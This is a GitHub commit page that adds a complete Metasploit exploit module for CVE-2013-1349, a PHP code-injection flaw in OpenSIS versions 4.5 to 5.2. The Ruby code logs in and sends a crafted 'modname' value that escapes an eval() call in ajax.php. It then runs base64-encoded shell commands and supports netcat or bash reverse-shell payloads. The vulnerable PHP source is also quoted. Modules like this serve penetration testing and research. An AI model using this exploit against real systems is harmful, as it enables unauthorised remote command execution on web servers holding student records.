Skip to content

Commit fc2da15

Browse files
committed
Add OpenSIS 'modname' PHP Code Execution module for CVE-2013-1349
1 parent 26af645 commit fc2da15

File tree

1 file changed

+157
-0
lines changed

1 file changed

+157
-0
lines changed
Lines changed: 157 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,157 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info={})
14+
super(update_info(info,
15+
'Name' => "OpenSIS 'modname' PHP Code Execution",
16+
'Description' => %q{
17+
This module exploits a PHP code execution vulnerability in OpenSIS
18+
versions 4.5 to 5.2 which allows any authenticated user to execute
19+
arbitrary PHP code under the context of the web-server user.
20+
The 'ajax.php' file calls 'eval()' with user controlled data from
21+
the 'modname' parameter.
22+
},
23+
'License' => MSF_LICENSE,
24+
'Author' =>
25+
[
26+
'EgiX', # Discovery
27+
'Brendan Coles <bcoles[at]gmail.com>' # msf exploit
28+
],
29+
'References' =>
30+
[
31+
['CVE', '2013-1349'],
32+
['URL', 'http://sourceforge.net/p/opensis-ce/bugs/59/']
33+
],
34+
'Payload' =>
35+
{
36+
'BadChars' => "\x00\x0a\x0d",
37+
'Compat' =>
38+
{
39+
'PayloadType' => 'cmd',
40+
'RequiredCmd' => 'generic telnet bash netcat netcat-e perl ruby python',
41+
}
42+
},
43+
'DefaultOptions' =>
44+
{
45+
'ExitFunction' => 'none'
46+
},
47+
'Platform' => 'unix',
48+
'Arch' => ARCH_CMD,
49+
'Targets' =>
50+
[
51+
# Tested on OpenSIS versions 4.9 and 5.2 (Ubuntu Linux)
52+
['OpenSIS version 4.5 to 5.2', { 'auto' => true }]
53+
],
54+
'Privileged' => false,
55+
'DisclosureDate' => 'Dec 04 2012',
56+
'DefaultTarget' => 0))
57+
58+
register_options(
59+
[
60+
OptString.new('TARGETURI', [true, 'The URI for OpenSIS', '/opensis/']),
61+
OptString.new('USERNAME', [true, 'The username for OpenSIS', '']),
62+
OptString.new('PASSWORD', [true, 'The password for OpenSIS', ''])
63+
], self.class)
64+
end
65+
66+
#
67+
# Login
68+
#
69+
def login(user, pass)
70+
@cookie = "PHPSESSID=#{rand_text_alphanumeric(rand(10)+10)};"
71+
print_status("#{peer} - Authenticating as user '#{user}'")
72+
res = send_request_cgi({
73+
'method' => 'POST',
74+
'uri' => normalize_uri(target_uri.path, "index.php"),
75+
'cookie' => @cookie,
76+
'vars_post' => Hash[{
77+
'USERNAME' => user,
78+
'PASSWORD' => pass,
79+
}.to_a.shuffle]
80+
})
81+
if res and res.code == 200 and res.body =~ /Portal\.php/
82+
print_good("#{peer} - Authenticated as user '#{user}'")
83+
return true
84+
else
85+
print_error("#{peer} - Authenticating as user '#{user}' failed")
86+
return false
87+
end
88+
end
89+
90+
#
91+
# Send command for execution
92+
#
93+
def execute_command(cmd, opts = { :php_function => 'system' } )
94+
code = Rex::Text.uri_encode(Rex::Text.encode_base64(cmd+"&"))
95+
junk = rand_text_alphanumeric(rand(10)+6)
96+
print_status("#{peer} - Sending payload (#{code.length} bytes)")
97+
res = send_request_cgi({
98+
'method' => 'POST',
99+
'uri' => normalize_uri(target_uri.path, 'ajax.php'),
100+
'cookie' => @cookie,
101+
'vars_post' => {
102+
'modname' => "#{junk}?#{junk}=#{junk}';#{opts[:php_function]}(base64_decode('#{code}'));//"
103+
}
104+
})
105+
return res
106+
end
107+
108+
#
109+
# Check credentials are valid and confirm command execution
110+
#
111+
def check
112+
return Exploit::CheckCode::Unknown unless login(datastore['USERNAME'], datastore['PASSWORD'])
113+
fingerprint = Rex::Text.rand_text_alphanumeric(rand(10)+10)
114+
print_status("#{peer} - Sending check")
115+
res = execute_command("echo #{fingerprint}")
116+
if res and res.body =~ /align=center>#{fingerprint}/
117+
return Exploit::CheckCode::Vulnerable
118+
elsif res
119+
return Exploit::CheckCode::Safe
120+
end
121+
return Exploit::CheckCode::Unknown
122+
end
123+
124+
def exploit
125+
return unless login(datastore['USERNAME'], datastore['PASSWORD'])
126+
php_function = [
127+
'exec',
128+
'shell_exec',
129+
'passthru',
130+
'system'
131+
].sample
132+
res = execute_command(payload.encoded, { :php_function => php_function })
133+
if res and res.code == 200 and res.body =~ /hacking_log/i
134+
print_good("#{peer} - Payload sent successfully")
135+
else
136+
fail_with(Failure::UnexpectedReply, "#{peer} - Sending payload failed")
137+
end
138+
end
139+
end
140+
141+
#
142+
# Source
143+
#
144+
=begin ajax.php
145+
90: if(strpos($_REQUEST['modname'],'?')!==false)
146+
91: {
147+
92: $vars = substr($_REQUEST['modname'],(strpos($_REQUEST['modname'],'?')+1));
148+
93: $modname = substr($_REQUEST['modname'],0,strpos($_REQUEST['modname'],'?'));
149+
94:
150+
95: $vars = explode('?',$vars);
151+
96: foreach($vars as $code)
152+
97: {
153+
98: $code = decode_unicode_url("\$_REQUEST['".str_replace('=',"']='",$code)."';");
154+
99: eval($code);
155+
100: }
156+
101: }
157+
=end

0 commit comments

Comments
 (0)